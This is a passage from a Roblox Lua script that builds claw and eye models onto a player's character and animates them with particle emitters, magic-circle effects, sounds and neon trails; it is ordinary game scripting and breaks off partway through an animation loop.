  3002. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  3003. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3004. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  3005. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3006. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  3007. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3008. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  3009. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3010. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3011. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  3012. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3013. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  3014. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3015. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  3016. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  3017. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  3018. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3019. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  3020. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3021. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3022. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  3023. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3024.  
  3025. local modelzorzz2=Instance.new("Model")
  3026. modelzorzz2.Parent=Character
  3027. modelzorzz2.Name="Claw2"
  3028.  
  3029. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  3030. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  3031. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  3032. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3033. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  3034. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3035. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  3036. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3037. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  3038. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3039. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  3040. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3041. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3042. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  3043. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3044. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3045. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  3046. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3047. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  3048. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3049. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3050. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  3051. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3052. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  3053. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3054. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3055. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  3056. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3057. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  3058. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3059. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3060. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  3061. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3062. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  3063. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3064. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  3065. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  3066. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  3067. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  3068. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3069. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  3070.  
  3071. local modelzorzz3=Instance.new("Model")
  3072. modelzorzz3.Parent=Character
  3073. modelzorzz3.Name="Eye"
  3074.  
  3075. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  3076. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  3077. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  3078. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  3079. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3080. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  3081. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  3082. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3083. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  3084. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  3085. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3086. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  3087. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  3088. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3089. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  3090. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3091. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  3092. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3093. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3094. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3095. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  3096. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3097. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  3098.  
  3099. p = owner
  3100. char = p.Character
  3101. torso = char.Torso
  3102. neck = char.Torso.Neck
  3103. hum = char.Humanoid
  3104. hum.MaxHealth = 1527500
  3105. wait()
  3106. hum.Health =hum.MaxHealth
  3107.  
  3108. local particleemitter = Instance.new("ParticleEmitter", Handle)
  3109. particleemitter.VelocitySpread = 180
  3110. particleemitter.Lifetime = NumberRange.new(0.1)
  3111. particleemitter.Speed = NumberRange.new(2)
  3112. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3113. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3114. particleemitter.Rate = 100
  3115. particleemitter.Rotation = NumberRange.new(-45, 45)
  3116. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3117. particleemitter.LightEmission = 0.8
  3118. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3119.  
  3120. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  3121. particleemitter.VelocitySpread = 180
  3122. particleemitter.Lifetime = NumberRange.new(0.1)
  3123. particleemitter.Speed = NumberRange.new(2)
  3124. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3125. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3126. particleemitter.Rate = 100
  3127. particleemitter.Rotation = NumberRange.new(-45, 45)
  3128. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3129. particleemitter.LightEmission = 0.8
  3130. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3131.  
  3132. local particleemitter = Instance.new("ParticleEmitter", handle)
  3133. particleemitter.VelocitySpread = 180
  3134. particleemitter.Lifetime = NumberRange.new(0.1)
  3135. particleemitter.Speed = NumberRange.new(2)
  3136. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  3137. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3138. particleemitter.Rate = 100
  3139. particleemitter.Rotation = NumberRange.new(-45, 45)
  3140. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3141. particleemitter.LightEmission = 0.8
  3142. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3143.  
  3144. particleemitter.Enabled = true
  3145. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  3146. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  3147. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  3148. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  3149. for i=0,1,0.005 do
  3150. swait()
  3151. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3152. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3153. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3154. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3155. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3156. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3157. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3158. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3159. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3160. end
  3161. for i=0,1,0.04 do
  3162. swait()
  3163. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3164. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3165. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3166. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3167. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3168. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3169. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3170. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3171. end
  3172. attack = false
  3173. end
  3174. end
  3175. end)
  3176.  
  3177. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3178. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3179. prt.Anchored=true
  3180. prt.CFrame=cframe
  3181. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3182. game:GetService("Debris"):AddItem(prt,2)
  3183. coroutine.resume(coroutine.create(function(Part,Mesh)
  3184. for i=0,1,delay do
  3185. wait()
  3186. Part.CFrame=Part.CFrame
  3187. Part.Transparency=i
  3188. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3189. end
  3190. Part.Parent=nil
  3191. end),prt,msh)
  3192. end
  3193.  
  3194. TrailDeb = false
  3195.  
  3196. function equipanim()
  3197. attack=true
  3198. Humanoid.WalkSpeed = 0
  3199. if TrailDeb == false then
  3200. TrailDeb = true
  3201. end
  3202.  
  3203.  
  3204. coroutine.wrap(function()
  3205. local Old = handle.CFrame.p
  3206. while wait()do
  3207. if not TrailDeb then break end
  3208. local New = handle.CFrame.p
  3209. local Mag =(Old -New).magnitude
  3210. local Dis =(Old +New)/2
  3211. local Trail = Instance.new("Part",Character)
  3212. Trail.Material = "Neon"
  3213. Trail.Anchored = true
  3214. Trail.CanCollide = false
  3215. Trail.BrickColor = TorsoColor
  3216. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3217. Trail.TopSurface = 0
  3218. Trail.BottomSurface = 0
  3219. Trail.formFactor = "Custom"
  3220. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3221. local ms = Instance.new("BlockMesh",Trail)
  3222. ms.Scale = Vector3.new(1,1,1)
  3223. local TM = Instance.new("CylinderMesh",Trail)
  3224. TM.Scale = Vector3.new(1,1,1)
  3225. Old = New
  3226. coroutine.wrap(function()
  3227. for i = 1,0,-0.1 do
  3228. wait()
  3229. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3230. end
  3231. Trail:remove()
  3232. end)()
  3233. coroutine.wrap(function()
  3234. for i = 1,10 do
  3235. wait()
  3236. Trail.Transparency = Trail.Transparency +0.1
  3237. end end)()end end)()
  3238. coroutine.wrap(function()
  3239. local Old = Handle.CFrame.p
  3240. while wait()do
  3241. if not TrailDeb then break end
  3242. local New = Handle.CFrame.p
  3243. local Mag =(Old -New).magnitude
  3244. local Dis =(Old +New)/2
  3245. local Trail = Instance.new("Part",Character)
  3246. Trail.Material = "Neon"
  3247. Trail.Anchored = true
  3248. Trail.CanCollide = false
  3249. Trail.BrickColor = TorsoColor
  3250. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3251. Trail.TopSurface = 0
  3252. Trail.BottomSurface = 0
  3253. Trail.formFactor = "Custom"
  3254. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3255. local ms = Instance.new("BlockMesh",Trail)
  3256. ms.Scale = Vector3.new(1,1,1)
  3257. local TM = Instance.new("CylinderMesh",Trail)
  3258. TM.Scale = Vector3.new(1,1,1)
  3259. Old = New
  3260. coroutine.wrap(function()
  3261. for i = 1,0,-0.1 do
  3262. wait()
  3263. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3264. end
  3265. Trail:remove()
  3266. end)()
  3267. coroutine.wrap(function()
  3268. for i = 1,10 do
  3269. wait()
  3270. Trail.Transparency = Trail.Transparency +0.1
  3271. end end)()end end)()
  3272. coroutine.wrap(function()
  3273. local Old = Handle2.CFrame.p
  3274. while wait()do
  3275. if not TrailDeb then break end
  3276. local New = Handle2.CFrame.p
  3277. local Mag =(Old -New).magnitude
  3278. local Dis =(Old +New)/2
  3279. local Trail = Instance.new("Part",Character)
  3280. Trail.Material = "Neon"
  3281. Trail.Anchored = true
  3282. Trail.CanCollide = false
  3283. Trail.BrickColor = TorsoColor
  3284. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3285. Trail.TopSurface = 0
  3286. Trail.BottomSurface = 0
  3287. Trail.formFactor = "Custom"
  3288. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3289. local ms = Instance.new("BlockMesh",Trail)
  3290. ms.Scale = Vector3.new(1,1,1)
  3291. local TM = Instance.new("CylinderMesh",Trail)
  3292. TM.Scale = Vector3.new(1,1,1)
  3293. Old = New
  3294. coroutine.wrap(function()
  3295. for i = 1,0,-0.1 do
  3296. wait()
  3297. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3298. end
  3299. Trail:remove()
  3300. end)()
  3301. coroutine.wrap(function()
  3302. for i = 1,10 do
  3303. wait()
  3304. Trail.Transparency = Trail.Transparency +0.1
  3305. end end)()end end)()
  3306. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3307. for i=0,1,0.005 do
  3308. swait()
  3309. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
